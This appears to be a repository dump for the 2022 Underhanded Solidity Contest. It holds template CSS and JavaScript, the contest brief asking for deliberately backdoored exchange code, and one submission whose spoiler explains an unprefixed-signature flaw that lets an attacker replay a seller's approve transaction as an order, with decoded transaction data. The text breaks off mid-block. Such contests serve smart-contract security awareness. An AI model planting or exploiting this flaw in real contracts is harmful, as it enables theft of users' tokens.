transform: translateX(-1em);
opacity: 0;
}
@media screen and (max-width: 1680px) {
.spotlights > section > .content {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 980px) {
.spotlights > section {
display: block;
}
.spotlights > section > .image {
width: 100%;
height: 50vh;
}
.spotlights > section > .content {
width: 100%;
}
.spotlights > section.inactive > .content > .inner,
body.is-preload .spotlights > section > .content > .inner {
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
}
@media screen and (max-width: 736px) {
.spotlights > section > .image {
height: 50vh;
min-height: 15em;
}
.spotlights > section > .content {
padding: 3em 2em 1em 2em ;
}
}
/* Table */
.table-wrapper {
-webkit-overflow-scrolling: touch;
overflow-x: auto;
}
table {
margin: 0 0 2em 0;
width: 100%;
}
table tbody tr {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left: 0;
border-right: 0;
}
table tbody tr:nth-child(2n + 1) {
background-color: rgba(255, 255, 255, 0.05);
}
table td {
padding: 0.75em 0.75em;
}
table th {
color: #ffffff;
font-size: 1em;
font-weight: bold;
padding: 0 0.75em 0.75em 0.75em;
text-align: left;
}
table thead {
border-bottom: solid 2px rgba(255, 255, 255, 0.15);
}
table tfoot {
border-top: solid 2px rgba(255, 255, 255, 0.15);
}
table.alt {
border-collapse: separate;
}
table.alt tbody tr td {
border: solid 1px rgba(255, 255, 255, 0.15);
border-left-width: 0;
border-top-width: 0;
}
table.alt tbody tr td:first-child {
border-left-width: 1px;
}
table.alt tbody tr:first-child td {
border-top-width: 1px;
}
table.alt thead {
border-bottom: 0;
}
table.alt tfoot {
border-top: 0;
}
/* Wrapper */
.wrapper {
position: relative;
}
.wrapper > .inner {
padding: 5em 5em 3em 5em ;
max-width: 100%;
width: 75em;
}
@media screen and (max-width: 1680px) {
.wrapper > .inner {
padding: 4em 4em 2em 4em ;
}
}
@media screen and (max-width: 1280px) {
.wrapper > .inner {
width: 100%;
}
}
@media screen and (max-width: 736px) {
.wrapper > .inner {
padding: 3em 2em 1em 2em ;
}
}
.wrapper.alt {
background-color: #261c3e;
}
.wrapper.style1 {
background-color: #111111;
}
.wrapper.style1-alt {
background-color: #111111;
}
.wrapper.style2 {
background-color: #E5E5E5;
}
.wrapper.style2-alt {
background-color: #7575FF;
}
.wrapper.style3 {
background-color: #9d9d9d;
}
.wrapper.style3-alt {
background-color: #9d9d9d;
}
.wrapper.fullscreen {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
min-height: 100vh;
}
body.is-ie .wrapper.fullscreen {
height: 100vh;
}
@media screen and (max-width: 1280px) {
.wrapper.fullscreen {
min-height: calc(100vh - 2.5em);
}
body.is-ie .wrapper.fullscreen {
height: calc(100vh - 2.5em);
}
}
@media screen and (max-width: 736px) {
.wrapper.fullscreen {
padding: 2em 0;
min-height: 0;
}
body.is-ie .wrapper.fullscreen {
height: auto;
}
}
.wrapper.fade-up > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-up.inactive > .inner,
body.is-preload .wrapper.fade-up > .inner {
opacity: 0;
-moz-transform: translateY(1em);
-webkit-transform: translateY(1em);
-ms-transform: translateY(1em);
transform: translateY(1em);
}
.wrapper.fade-down > .inner {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease, -moz-transform 1s ease;
-webkit-transition: opacity 1s ease, -webkit-transform 1s ease;
-ms-transition: opacity 1s ease, -ms-transform 1s ease;
transition: opacity 1s ease, transform 1s ease;
opacity: 1.0;
}
.wrapper.fade-down.inactive > .inner,
body.is-preload .wrapper.fade-down > .inner {
opacity: 0;
-moz-transform: translateY(-1em);
-webkit-transform: translateY(-1em);
-ms-transform: translateY(-1em);
transform: translateY(-1em);
}
.wrapper.fade > .inner {
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
opacity: 1.0;
}
.wrapper.fade.inactive > .inner,
body.is-preload .wrapper.fade > .inner {
opacity: 0;
}
/* Header */
#header {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
background-color: #111111;
cursor: default;
padding: 1.75em 2em;
}
#header > .title {
border: 0;
color: #ffffff;
display: block;
font-size: 1.25em;
font-weight: bold;
}
#header > nav {
-moz-flex: 1;
-webkit-flex: 1;
-ms-flex: 1;
flex: 1;
text-align: right;
}
#header > nav > ul {
margin: 0;
padding: 0;
}
#header > nav > ul > li {
display: inline-block;
margin-left: 1.75em;
padding: 0;
vertical-align: middle;
}
#header > nav > ul > li:first-child {
margin-left: 0;
}
#header > nav > ul > li a {
border: 0;
color: rgba(255, 255, 255, 0.35);
display: inline-block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
text-transform: uppercase;
}
#header > nav > ul > li a:hover {
color: rgba(255, 255, 255, 0.55);
}
#header > nav > ul > li a.active {
color: #ffffff;
}
@media screen and (max-width: 736px) {
#header {
padding: 1em 2em;
}
}
@media screen and (max-width: 480px) {
#header {
display: block;
padding: 0 2em;
text-align: left;
}
#header .title {
font-size: 1.25em;
padding: 1em 0;
}
#header > nav {
border-top: solid 1px rgba(255, 255, 255, 0.15);
text-align: inherit;
}
#header > nav > ul > li {
margin-left: 1.5em;
}
#header > nav > ul > li a {
height: 6em;
line-height: 6em;
}
}
/* Wrapper (main) */
#sidebar + #wrapper {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper {
margin-left: 0;
padding-top: 3.5em;
}
}
@media screen and (max-width: 736px) {
#sidebar + #wrapper {
padding-top: 0;
}
}
#header + #wrapper > .wrapper > .inner {
margin: 0 auto;
}
/* Footer */
#sidebar + #wrapper + #footer {
margin-left: 18em;
}
@media screen and (max-width: 1280px) {
#sidebar + #wrapper + #footer {
margin-left: 0;
}
}
#footer > .inner a {
border-bottom-color: rgba(255, 255, 255, 0.15);
}
#footer > .inner a:hover {
border-bottom-color: transparent;
}
#footer > .inner .menu {
font-size: 0.8em;
color: rgba(255, 255, 255, 0.15);
}
#header + #wrapper + #footer > .inner {
margin: 0 auto;
}
/* Sidebar */
#sidebar {
padding: 2.5em 2.5em 0.5em 2.5em ;
background: #111111;
cursor: default;
height: 100vh;
left: 0;
overflow-x: hidden;
overflow-y: auto;
position: fixed;
text-align: right;
top: 0;
width: 18em;
z-index: 10000;
}
#sidebar > .inner {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
-moz-flex-direction: column;
-webkit-flex-direction: column;
-ms-flex-direction: column;
flex-direction: column;
-moz-justify-content: center;
-webkit-justify-content: center;
-ms-justify-content: center;
justify-content: center;
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 1s ease;
-webkit-transition: opacity 1s ease;
-ms-transition: opacity 1s ease;
transition: opacity 1s ease;
min-height: 100%;
opacity: 1;
width: 100%;
}
body.is-ie #sidebar > .inner {
height: 100%;
}
#sidebar nav > ul {
list-style: none;
padding: 0;
}
#sidebar nav > ul > li {
-moz-transform: translateY(0);
-webkit-transform: translateY(0);
-ms-transform: translateY(0);
transform: translateY(0);
-moz-transition: opacity 0.15s ease, -moz-transform 0.75s ease;
-webkit-transition: opacity 0.15s ease, -webkit-transform 0.75s ease;
-ms-transition: opacity 0.15s ease, -ms-transform 0.75s ease;
transition: opacity 0.15s ease, transform 0.75s ease;
margin: 1.5em 0 0 0;
opacity: 1;
padding: 0;
position: relative;
}
#sidebar nav > ul > li:first-child {
margin: 0;
}
#sidebar nav > ul > li:nth-child(1) {
-moz-transition-delay: 0.45s;
-webkit-transition-delay: 0.45s;
-ms-transition-delay: 0.45s;
transition-delay: 0.45s;
}
#sidebar nav > ul > li:nth-child(2) {
-moz-transition-delay: 0.65s;
-webkit-transition-delay: 0.65s;
-ms-transition-delay: 0.65s;
transition-delay: 0.65s;
}
#sidebar nav > ul > li:nth-child(3) {
-moz-transition-delay: 0.85s;
-webkit-transition-delay: 0.85s;
-ms-transition-delay: 0.85s;
transition-delay: 0.85s;
}
#sidebar nav > ul > li:nth-child(4) {
-moz-transition-delay: 1.05s;
-webkit-transition-delay: 1.05s;
-ms-transition-delay: 1.05s;
transition-delay: 1.05s;
}
#sidebar nav > ul > li:nth-child(5) {
-moz-transition-delay: 1.25s;
-webkit-transition-delay: 1.25s;
-ms-transition-delay: 1.25s;
transition-delay: 1.25s;
}
#sidebar nav > ul > li:nth-child(6) {
-moz-transition-delay: 1.45s;
-webkit-transition-delay: 1.45s;
-ms-transition-delay: 1.45s;
transition-delay: 1.45s;
}
#sidebar nav > ul > li:nth-child(7) {
-moz-transition-delay: 1.65s;
-webkit-transition-delay: 1.65s;
-ms-transition-delay: 1.65s;
transition-delay: 1.65s;
}
#sidebar nav > ul > li:nth-child(8) {
-moz-transition-delay: 1.85s;
-webkit-transition-delay: 1.85s;
-ms-transition-delay: 1.85s;
transition-delay: 1.85s;
}
#sidebar nav > ul > li:nth-child(9) {
-moz-transition-delay: 2.05s;
-webkit-transition-delay: 2.05s;
-ms-transition-delay: 2.05s;
transition-delay: 2.05s;
}
#sidebar nav > ul > li:nth-child(10) {
-moz-transition-delay: 2.25s;
-webkit-transition-delay: 2.25s;
-ms-transition-delay: 2.25s;
transition-delay: 2.25s;
}
#sidebar nav > ul > li:nth-child(11) {
-moz-transition-delay: 2.45s;
-webkit-transition-delay: 2.45s;
-ms-transition-delay: 2.45s;
transition-delay: 2.45s;
}
#sidebar nav > ul > li:nth-child(12) {
-moz-transition-delay: 2.65s;
-webkit-transition-delay: 2.65s;
-ms-transition-delay: 2.65s;
transition-delay: 2.65s;
}
#sidebar nav > ul > li:nth-child(13) {
-moz-transition-delay: 2.85s;
-webkit-transition-delay: 2.85s;
-ms-transition-delay: 2.85s;
transition-delay: 2.85s;
}
#sidebar nav > ul > li:nth-child(14) {
-moz-transition-delay: 3.05s;
-webkit-transition-delay: 3.05s;
-ms-transition-delay: 3.05s;
transition-delay: 3.05s;
}
#sidebar nav > ul > li:nth-child(15) {
-moz-transition-delay: 3.25s;
-webkit-transition-delay: 3.25s;
-ms-transition-delay: 3.25s;
transition-delay: 3.25s;
}
#sidebar nav > ul > li:nth-child(16) {
-moz-transition-delay: 3.45s;
-webkit-transition-delay: 3.45s;
-ms-transition-delay: 3.45s;
transition-delay: 3.45s;
}
#sidebar nav > ul > li:nth-child(17) {
-moz-transition-delay: 3.65s;
-webkit-transition-delay: 3.65s;
-ms-transition-delay: 3.65s;
transition-delay: 3.65s;
}
#sidebar nav > ul > li:nth-child(18) {
-moz-transition-delay: 3.85s;
-webkit-transition-delay: 3.85s;
-ms-transition-delay: 3.85s;
transition-delay: 3.85s;
}
#sidebar nav > ul > li:nth-child(19) {
-moz-transition-delay: 4.05s;
-webkit-transition-delay: 4.05s;
-ms-transition-delay: 4.05s;
transition-delay: 4.05s;
}
#sidebar nav > ul > li:nth-child(20) {
-moz-transition-delay: 4.25s;
-webkit-transition-delay: 4.25s;
-ms-transition-delay: 4.25s;
transition-delay: 4.25s;
}
#sidebar nav a {
-moz-transition: color 0.2s ease;
-webkit-transition: color 0.2s ease;
-ms-transition: color 0.2s ease;
transition: color 0.2s ease;
border: 0;
color: rgba(255, 255, 255, 0.35);
display: block;
font-size: 0.6em;
font-weight: bold;
letter-spacing: 0.25em;
line-height: 1.75;
outline: 0;
padding: 1.35em 0;
position: relative;
text-decoration: none;
text-transform: uppercase;
}
#sidebar nav a:before, #sidebar nav a:after {
border-radius: 0.2em;
bottom: 0;
content: '';
height: 0.2em;
position: absolute;
right: 0;
width: 100%;
}
#sidebar nav a:before {
background: #9d9d9d;
}
#sidebar nav a:after {
background-image: -moz-linear-gradient(to right, #9d9d9d, #7575FF);
background-image: -webkit-linear-gradient(to right, #9d9d9d, #7575FF);
background-image: -ms-linear-gradient(to right, #9d9d9d, #7575FF);
background-image: linear-gradient(to right, #9d9d9d, #7575FF);
-moz-transition: max-width 0.2s ease;
-webkit-transition: max-width 0.2s ease;
-ms-transition: max-width 0.2s ease;
transition: max-width 0.2s ease;
max-width: 0;
}
#sidebar nav a:hover {
color: rgba(255, 255, 255, 0.55);
}
#sidebar nav a.active {
color: #7575FF;
}
#sidebar nav a.active:after {
max-width: 100%;
}
body.is-preload #sidebar > .inner {
opacity: 0;
}
body.is-preload #sidebar nav ul li {
-moz-transform: translateY(2em);
-webkit-transform: translateY(2em);
-ms-transform: translateY(2em);
transform: translateY(2em);
opacity: 0;
}
@media screen and (max-width: 1280px) {
#sidebar {
height: 3.5em;
left: 0;
line-height: 3.5em;
overflow: hidden;
padding: 0;
text-align: center;
top: 0;
width: 100%;
}
#sidebar > .inner {
-moz-flex-direction: row;
-webkit-flex-direction: row;
-ms-flex-direction: row;
flex-direction: row;
-moz-align-items: -moz-stretch;
-webkit-align-items: -webkit-stretch;
-ms-align-items: -ms-stretch;
align-items: stretch;
height: inherit;
line-height: inherit;
}
#sidebar nav {
height: inherit;
line-height: inherit;
}
#sidebar nav ul {
display: -moz-flex;
display: -webkit-flex;
display: -ms-flex;
display: flex;
height: inherit;
line-height: inherit;
margin: 0;
}
#sidebar nav ul li {
display: block;
height: inherit;
line-height: inherit;
margin: 0 0 0 2em;
padding: 0;
}
#sidebar nav a {
height: inherit;
line-height: inherit;
padding: 0;
}
#sidebar nav a:after {
background-image: none;
background-color: #7575FF;
}
}
@media screen and (max-width: 736px) {
#sidebar {
display: none;
}
}
/* Intro */
#intro {
background-attachment: fixed;
background-image: url("images/background.svg");
background-position: top right;
background-repeat: no-repeat;
background-size: 100% 100%;
}
#intro p {
font-size: 1.25em;
}
@media screen and (max-width: 980px) {
#intro p br {
display: none;
}
}
@media screen and (max-width: 736px) {
#intro p {
font-size: 1em;
}
}
@media screen and (max-width: 1280px) {
#intro {
background-attachment: scroll;
}
}
================================================
FILE: 2022/assets/css/noscript.css
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
/* Spotlights */
.spotlights > section > .image:before {
opacity: 0 !important;
}
.spotlights > section > .content > .inner {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
/* Wrapper */
.wrapper > .inner {
opacity: 1 !important;
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
}
/* Sidebar */
#sidebar > .inner {
opacity: 1 !important;
}
#sidebar nav > ul > li {
-moz-transform: none !important;
-webkit-transform: none !important;
-ms-transform: none !important;
transform: none !important;
opacity: 1 !important;
}
================================================
FILE: 2022/assets/js/main.js
================================================
/*
Hyperspace by HTML5 UP
html5up.net | @ajlkn
Free for personal and commercial use under the CCA 3.0 license (html5up.net/license)
*/
(function($) {
var $window = $(window),
$body = $('body'),
$sidebar = $('#sidebar');
// Breakpoints.
breakpoints({
xlarge: [ '1281px', '1680px' ],
large: [ '981px', '1280px' ],
medium: [ '737px', '980px' ],
small: [ '481px', '736px' ],
xsmall: [ null, '480px' ]
});
// Hack: Enable IE flexbox workarounds.
if (browser.name == 'ie')
$body.addClass('is-ie');
// Play initial animations on page load.
$window.on('load', function() {
window.setTimeout(function() {
$body.removeClass('is-preload');
}, 100);
});
// Forms.
// Hack: Activate non-input submits.
$('form').on('click', '.submit', function(event) {
// Stop propagation, default.
event.stopPropagation();
event.preventDefault();
// Submit form.
$(this).parents('form').submit();
});
// Sidebar.
if ($sidebar.length > 0) {
var $sidebar_a = $sidebar.find('a');
$sidebar_a
.addClass('scrolly')
.on('click', function() {
var $this = $(this);
// External link? Bail.
if ($this.attr('href').charAt(0) != '#')
return;
// Deactivate all links.
$sidebar_a.removeClass('active');
// Activate link *and* lock it (so Scrollex doesn't try to activate other links as we're scrolling to this one's section).
$this
.addClass('active')
.addClass('active-locked');
})
.each(function() {
var $this = $(this),
id = $this.attr('href'),
$section = $(id);
// No section for this link? Bail.
if ($section.length < 1)
return;
// Scrollex.
$section.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$section.addClass('inactive');
},
enter: function() {
// Activate section.
$section.removeClass('inactive');
// No locked links? Deactivate all links and activate this section's one.
if ($sidebar_a.filter('.active-locked').length == 0) {
$sidebar_a.removeClass('active');
$this.addClass('active');
}
// Otherwise, if this section's link is the one that's locked, unlock it.
else if ($this.hasClass('active-locked'))
$this.removeClass('active-locked');
}
});
});
}
// Scrolly.
$('.scrolly').scrolly({
speed: 1000,
offset: function() {
// If <=large, >small, and sidebar is present, use its height as the offset.
if (breakpoints.active('<=large')
&& !breakpoints.active('<=small')
&& $sidebar.length > 0)
return $sidebar.height();
return 0;
}
});
// Spotlights.
$('.spotlights > section')
.scrollex({
mode: 'middle',
top: '-10vh',
bottom: '-10vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
})
.each(function() {
var $this = $(this),
$image = $this.find('.image'),
$img = $image.find('img'),
x;
// Assign image.
$image.css('background-image', 'url(' + $img.attr('src') + ')');
// Set background position.
if (x = $img.data('position'))
$image.css('background-position', x);
// Hide .
$img.hide();
});
// Features.
$('.features')
.scrollex({
mode: 'middle',
top: '-20vh',
bottom: '-20vh',
initialize: function() {
// Deactivate section.
$(this).addClass('inactive');
},
enter: function() {
// Activate section.
$(this).removeClass('inactive');
}
});
})(jQuery);
================================================
FILE: 2022/assets/js/util.js
================================================
(function($) {
/**
* Generate an indented list of links from a nav. Meant for use with panel().
* @return {jQuery} jQuery object.
*/
$.fn.navList = function() {
var $this = $(this);
$a = $this.find('a'),
b = [];
$a.each(function() {
var $this = $(this),
indent = Math.max(0, $this.parents('li').length - 1),
href = $this.attr('href'),
target = $this.attr('target');
b.push(
'' +
'' +
$this.text() +
''
);
});
return b.join('');
};
/**
* Panel-ify an element.
* @param {object} userConfig User config.
* @return {jQuery} jQuery object.
*/
$.fn.panel = function(userConfig) {
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).panel(userConfig);
return $this;
}
// Vars.
var $this = $(this),
$body = $('body'),
$window = $(window),
id = $this.attr('id'),
config;
// Config.
config = $.extend({
// Delay.
delay: 0,
// Hide panel on link click.
hideOnClick: false,
// Hide panel on escape keypress.
hideOnEscape: false,
// Hide panel on swipe.
hideOnSwipe: false,
// Reset scroll position on hide.
resetScroll: false,
// Reset forms on hide.
resetForms: false,
// Side of viewport the panel will appear.
side: null,
// Target element for "class".
target: $this,
// Class to toggle.
visibleClass: 'visible'
}, userConfig);
// Expand "target" if it's not a jQuery object already.
if (typeof config.target != 'jQuery')
config.target = $(config.target);
// Panel.
// Methods.
$this._hide = function(event) {
// Already hidden? Bail.
if (!config.target.hasClass(config.visibleClass))
return;
// If an event was provided, cancel it.
if (event) {
event.preventDefault();
event.stopPropagation();
}
// Hide.
config.target.removeClass(config.visibleClass);
// Post-hide stuff.
window.setTimeout(function() {
// Reset scroll position.
if (config.resetScroll)
$this.scrollTop(0);
// Reset forms.
if (config.resetForms)
$this.find('form').each(function() {
this.reset();
});
}, config.delay);
};
// Vendor fixes.
$this
.css('-ms-overflow-style', '-ms-autohiding-scrollbar')
.css('-webkit-overflow-scrolling', 'touch');
// Hide on click.
if (config.hideOnClick) {
$this.find('a')
.css('-webkit-tap-highlight-color', 'rgba(0,0,0,0)');
$this
.on('click', 'a', function(event) {
var $a = $(this),
href = $a.attr('href'),
target = $a.attr('target');
if (!href || href == '#' || href == '' || href == '#' + id)
return;
// Cancel original event.
event.preventDefault();
event.stopPropagation();
// Hide panel.
$this._hide();
// Redirect to href.
window.setTimeout(function() {
if (target == '_blank')
window.open(href);
else
window.location.href = href;
}, config.delay + 10);
});
}
// Event: Touch stuff.
$this.on('touchstart', function(event) {
$this.touchPosX = event.originalEvent.touches[0].pageX;
$this.touchPosY = event.originalEvent.touches[0].pageY;
})
$this.on('touchmove', function(event) {
if ($this.touchPosX === null
|| $this.touchPosY === null)
return;
var diffX = $this.touchPosX - event.originalEvent.touches[0].pageX,
diffY = $this.touchPosY - event.originalEvent.touches[0].pageY,
th = $this.outerHeight(),
ts = ($this.get(0).scrollHeight - $this.scrollTop());
// Hide on swipe?
if (config.hideOnSwipe) {
var result = false,
boundary = 20,
delta = 50;
switch (config.side) {
case 'left':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX > delta);
break;
case 'right':
result = (diffY < boundary && diffY > (-1 * boundary)) && (diffX < (-1 * delta));
break;
case 'top':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY > delta);
break;
case 'bottom':
result = (diffX < boundary && diffX > (-1 * boundary)) && (diffY < (-1 * delta));
break;
default:
break;
}
if (result) {
$this.touchPosX = null;
$this.touchPosY = null;
$this._hide();
return false;
}
}
// Prevent vertical scrolling past the top or bottom.
if (($this.scrollTop() < 0 && diffY < 0)
|| (ts > (th - 2) && ts < (th + 2) && diffY > 0)) {
event.preventDefault();
event.stopPropagation();
}
});
// Event: Prevent certain events inside the panel from bubbling.
$this.on('click touchend touchstart touchmove', function(event) {
event.stopPropagation();
});
// Event: Hide panel if a child anchor tag pointing to its ID is clicked.
$this.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.removeClass(config.visibleClass);
});
// Body.
// Event: Hide panel on body click/tap.
$body.on('click touchend', function(event) {
$this._hide(event);
});
// Event: Toggle.
$body.on('click', 'a[href="#' + id + '"]', function(event) {
event.preventDefault();
event.stopPropagation();
config.target.toggleClass(config.visibleClass);
});
// Window.
// Event: Hide on ESC.
if (config.hideOnEscape)
$window.on('keydown', function(event) {
if (event.keyCode == 27)
$this._hide(event);
});
return $this;
};
/**
* Apply "placeholder" attribute polyfill to one or more forms.
* @return {jQuery} jQuery object.
*/
$.fn.placeholder = function() {
// Browser natively supports placeholders? Bail.
if (typeof (document.createElement('input')).placeholder != 'undefined')
return $(this);
// No elements?
if (this.length == 0)
return $this;
// Multiple elements?
if (this.length > 1) {
for (var i=0; i < this.length; i++)
$(this[i]).placeholder();
return $this;
}
// Vars.
var $this = $(this);
// Text, TextArea.
$this.find('input[type=text],textarea')
.each(function() {
var i = $(this);
if (i.val() == ''
|| i.val() == i.attr('placeholder'))
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('blur', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == '')
i
.addClass('polyfill-placeholder')
.val(i.attr('placeholder'));
})
.on('focus', function() {
var i = $(this);
if (i.attr('name').match(/-polyfill-field$/))
return;
if (i.val() == i.attr('placeholder'))
i
.removeClass('polyfill-placeholder')
.val('');
});
// Password.
$this.find('input[type=password]')
.each(function() {
var i = $(this);
var x = $(
$('
The goal of the Underhanded Solidity Contest is to write seemingly innocent and straightforward-looking Solidity code which actually contains malicious behavior or backdoors.
In this year, we would like you to build a simple decentralized exchange where people can trade their hard-earned NFTs, DAO governance tokens, or dog coins of their choice.
The rules of decentralized exchanges (at least the simple ones) are very easy and nothing can go wrong there... right?
Build a decentralized exchange either with an automated market maker or a match-making mechanism where trades do not really work as expected.
You can also add a flaw to a token implementation you provide instead of to the exchange itself.
Please remember to stick to "simplicity is key"! The shorter the submission is, the better. Leave out ERC20 functions that are not needed for your submission, for example.
Bonus points if you provide a short story and explain the setting around your exchange in the readme file.
Please also provide a crisp explanation about the flaw built into your submission, but put it into a different file named
rugpull.txt or spoiler.txt, so judges are able to first read the submission without bias.
Judges
Judges are presented with anonymised submissions. This year, the submissions will be assessed by:
The top 3 submissions of the Underhanded Solidity Contest will also be awarded points for the upcoming Paradigm CTF 2022.
Furthermore, the three winners will be added to the Board of Fame. The winners and all qualified submissions will receive a custom Underhanded Solidity Contest NFT.
Coding Brief & Guidelines
All you need to know about contest participation and submission!
Brief
Build a decentralized exchange that looks fair, but can be "manipulated". This can be either by it leaking money, a specific account being able to withdraw all money or something else you can think of. The flaw can also be in a specific token implementation you provide instead of the exchange. The only hard requirement is that the flaw is hidden.
Plausibility & Originality
Remember to consider plausibility. Code that drops down to inline assembly without any clear reason why will look immediately suspicious, no matter how cleverly written the assembly-level flaw is.
In addition to that it's needless to say that truly original ideas will receive more points than making use of already well known exploit/backdoor mechanisms.
Simplicity is key!
Submissions that are short and clean will be scored higher than those that are lengthy and complicated. It's easy to hide a vulnerability in complex and poorly written code; far harder to hide it in clean and simple code.
Timeline
Make sure to send submissions before the end of the deadline!
Please email your submissions before the deadline [2022-03-16, 11:59PM UTC] to sol_underhanded@ethereum.org. Entries should consist of a ZIP file containing a README describing your submission and how it works [spoilers into a different file!], and one or more Solidity files.
Each person can only enter one submission. If you want to make a team submission, nominate a single person to submit on your team’s behalf. Since entries will be forwarded to the judges and assessed anonymously, please do not include identifying information in the ZIP file.
Who can participate?
Anybody over the age of 18 can participate. Judges and organizers of this contest are excluded from participation. If your jurisdiction requires you to pay taxes on prizes or imposes other restrictions, please make sure to adhere to those. If taking part in such contests is prohibited in your area please adhere to your local laws.
About
Inspired by the Underhanded C Contest and the first Underhanded Solidity Contest, organized in 2017 by Nick Johnson, in 2020 the Solidity team decided that it is time for a revival. Nowadays, the Underhanded Solidity Contest takes place regularly on an annual to bi-annual basis.
The Underhanded Solidity Contest aims to:
Raise awareness about smart contract security.
Uncover language design faults.
Battle-test recently introduced language features and restrictions.
Highlight anti-patterns in smart contact development.
Establish new best practices for secure smart contract development.
You have questions, want to get involved by sponsoring a prize, helping with judging or proposing a theme for the next Underhanded Solidity Contest? Then feel free to get in touch!
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/.gitignore
================================================
/node_modules
/artifacts
/cache
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/LICENSE
================================================
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
Version 2, December 2004
Everyone is permitted to copy and distribute verbatim or modified
copies of this license document, and changing it is allowed as long
as the name is changed.
DO WHAT THE FUCK YOU WANT TO PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. You just DO WHAT THE FUCK YOU WANT TO.
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/README.md
================================================
# ERC20 order-based exchange
Simple order-based exchange for selling ERC20 tokens in exchange for ETH. Orders are stored off-chain and signed by the sellers. Buyers submit the order to execute to the contract, along with the seller's signature and the ETH to purchase the tokens.
Orders can be `EXACT` or `PARTIAL`. Exact orders need to be fulfilled in a single operation, whereas partial orders can be fulfilled in multiple purchases from multiple buyers.
Orders can also optionally define a `referrer` address, who will receive 1% of the value in ETH of the purchase. Can be used to reward the app that stores the orders off-chain. Does not allocate a fee if set to the zero address.
## Reference
```solidity
struct Order {
address referrer; // optional referrer field that takes a 1% of the amount paid in ETH
address token; // token being offered in this order
uint128 rate; // number of tokens per eth sold (times RATE_DENOMINATOR)
uint24 nonce; // nonce for differentiating two otherwise identical orders
uint256 amount; // amount of tokens offered in this order
uint8 orderType; // type of order (EXACT=0, PARTIAL=1)
}
```
## TODO
- Allow sellers to cancel an order
- Add cross-chain replay attack protection
================================================
FILE: 2022/submissions_2022/submission10_SantiagoPalladino/SPOILER.md
================================================
# Exploit
Orders are signed without including the `\x19Ethereum Signed Message:\n` prefix. Transactions are potentially valid orders, and in particular, type-2 ERC20 approval transactions are a match. This means that, for any order, an attacker can pick up the `approve` transaction sent by the seller to the token contract, and repurpose it as a valid order with an extremely favorable rate.
The file `test/exploit.js` has a proof of concept of the attack. In the example, the `approve` transaction looks like the following:
```json
{
type: 2,
accessList: [],
maxPriorityFeePerGas: BigNumber { value: "1000000000" },
maxFeePerGas: BigNumber { value: "69379087998" },
gasLimit: BigNumber { value: "50000" },
to: '0x5FbDB2315678afecb367f032d93F642f64180aa3',
value: BigNumber { value: "0" },
nonce: 0,
data: '0x095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000',
r: '0x88e28705819334231af97f7c776352b627d722522d73be127e60d1d4a109d616',
s: '0x1944ba785436c6dae6ae33e435a6ccad2eb781e1b862ca68c118a147ed0c1eac',
v: 1,
chainId: 1,
}
```
Which serializes as:
```
0x02f86d0180843b9aca0085102e6f23c282c350945fbdb2315678afecb367f032d93f642f64180aa380b844095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000c0
```
Unpacking from the RLP encoding, we see that:
```
02 # type
f86d # tx size (f8 means length field has size 1, 6d is actual length)
01 # chainId
80 # nonce (zero)
843b9aca00 # maxPriorityFeePerGas
85102e6f23c2 # maxFeePerGas
82c350 # gasLimit
94 # to length (20 bytes)
5fbdb2315678afecb367f032d93f642f64180aa3 # to (token contract address)
80 # value (zero)
b844 # data length (more rlp encoding shenanigans)
095ea7b3000000000000000000000000e7f1725e7734ce288f8367e1bb143e90bb3f051200000000000000000000000000000000000000000000003635c9adc5dea00000 # data (approve, spender, amount)
c0 # access list (empty)
```
Which we can reshuffle as the following:
```
